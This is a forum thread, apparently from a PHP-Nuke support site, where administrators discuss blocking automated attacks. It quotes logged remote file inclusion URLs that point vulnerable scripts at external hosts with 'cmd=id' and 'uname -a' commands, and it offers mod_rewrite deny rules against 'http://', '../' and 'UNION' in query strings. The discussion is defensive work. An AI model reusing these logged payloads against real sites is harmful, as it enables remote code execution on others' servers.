Filtering XSS which contains http twice

Guardian2003 · Site Admin Joined: Aug 28, 2003 Posts: 5057

Perhaps some have seen my statement "Probably the most secure version of nuke ever" on my site over at

Only registered users can see links on this board!
Get registered or login to the forums!

and thought I was issuing a challenge.
The following attempts have been tried (for modules which do not exist Laughing

)

Code:

modules/Forums/admin/admin_styles.php?phpbb_root_path=http://saudia.100free.com/asc.txt?&cmd=uname%20-a;id

Code:

/modules/4nAlbum/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id

Quote:

www.code-authors.com/index.php?cat=http://www.lilspage.de/modules/tool25.dat?cmd=id
Get String:

Only registered users can see links on this board!
Get registered or login to the forums!

Quote:

/modules/My_eGallery/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id

Quote:

/modules/My_eGallery/public/displayCategory.php?basepath=http://www.clan-ff.net/vwar/tool25.dat?&cmd=id

These are quite obviously some sort of automated attack and needless to say they didnt work but what would be the best way to block such attacks?

djmaze · Posted: Tue Feb 21, 2006 7:21 am

Code:

RewriteCond %{QUERY_STRING} =http:// [NC]
RewriteRule ^.*$ - [F]

Guardian2003 · Site Admin Joined: Aug 28, 2003 Posts: 5057

Interesting - thanks for that I'll try it and see what develops.

djmaze · Posted: Tue Feb 21, 2006 8:06 am

here's even a better version that also denies ../../ as seen in rush attacks
for example an exploit in file=../../.htaccess
and another for UNION

RewriteCond %{QUERY_STRING} =../ [NC, OR]
RewriteCond %{QUERY_STRING} "%20UNION" [NC, OR]
RewriteCond %{QUERY_STRING} =http:// [NC]
RewriteRule ^.*$ - [F]

NOTE: this is will NOT make you 100% safe since phpnuke uses register_globals so an attack can also be made thru POST and COOKIE

Guardian2003 · Site Admin Joined: Aug 28, 2003 Posts: 5057

Thanks!!

evaders99 · Moderator Joined: Apr 30, 2004 Posts: 2887

admin_styles.php is a known attack that has hit phpBB systems (and those using phpBB derivates) several times.

Ditto 4nAlbum and My_eGallery using the same displayCategory.php

The attack on index.php is nothing I have seen. Must have been a "cat" variable vulnerable somewhere.

Does Sentinel not block these attacks?

---

For my site not using Sentinel, here's what I have right now.
Using DisError to capture the 404 messages and read the 'REDIRECT_URL'
If it includes anything on 'xmlrpc.php' 'awstats.pl' 'displayCategory.php' 'upgrade_album.php'
They get a banned

Guardian2003 · Site Admin Joined: Aug 28, 2003 Posts: 5057

evaders - with the exception of the third quote (above) none tripped Sentinel but that is probably due to my sloppy blocker configuration which I'm looking at right now.